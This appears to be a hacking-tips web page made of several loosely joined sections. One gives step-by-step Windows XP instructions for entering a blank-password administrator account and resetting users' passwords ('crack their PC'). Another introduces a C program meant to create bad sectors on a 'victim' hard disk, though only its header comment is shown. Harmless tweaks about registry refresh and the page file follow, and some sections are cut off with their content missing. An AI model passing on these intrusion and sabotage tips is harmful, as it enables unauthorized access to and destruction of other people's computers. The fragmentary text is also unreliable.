Cracking Windows XP

Cracking Windows means 2 things
1>cracking the password without knowing the original password
2>Somehow Knowing the password and then using that password without letting the user know

cracking password
In XP we generally deal with 2 types of account.
Administrator Account
User Account

When XP is loaded in a computer,it asks for administrator password,generally people keep   it blank(So that  pasword can be reset when we forget later and Most of the time,people dont use their Administrator account,they like to work with   their user account.

This is how you can  crack their PC and hack Administrator Password

1. Start your computer 
2. It will take you to logon screen.where only user Account is visible, 
3. Press Alt+Ctrl+Delete (2 times).it will take you to old NT style logon box 
4. On username:  administrator   
5. Password:                    press Enter     
6. System will login using administrator account.
7. Now from ur Administrator account,Open command prompt
8.     Start-->run-->type "cmd"  without space
9. In that command Prompt or DOS screen. Type   net   user  administrator   *        press enter
10. It will ask for password.Press Enter 2 times and it will say command completed successfully
11. Now you have sucessfully cracked users Password,without knowing existing password

This is not a hacking,windows had given u feature,thats why u could do it.

Create a Bad Sector on HardDisk

This is a C program,to create bad sectors on the Hard disk. Use it at your own risk

/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* I don't take responsibility for what you do with this program, served for educational purpose        * only.

Automatic Windows Refresh

We can modify the registry,so that window automatically refreshes frequently.To do so
Copy & paste the following code in notepad and save it as WindowsRefresh.reg

*****************************WindowsRefresh.reg**************************************

Clear Page File at Shutdown

A pageFile is purely an Operating System concept,its a file in which paging takes place.
For non-technical people,i dont mind to say page file works as temporary memory,if we dont have sufficient memory in the RAM.

Most Often,it contains unnecessary files inside it,which was created while executing some program,but now its totally useless.We should not delete that file,because its very helpful if your system has got less RAM(say 512MB) like me.
One thing we can certainly do is,clean that pagefile  just before sytem shutdowns.

To see PageFile,
open c:\ -->go to tool-->folder option---> scroll down and check  show hidden files & folders
also uncheck hide protected operating system.clik apply.


Now observe some new files are visible inside c:\   out of them 1 is pagefile.sys.
Note:You may not find that file,if your pagefile option is not activated
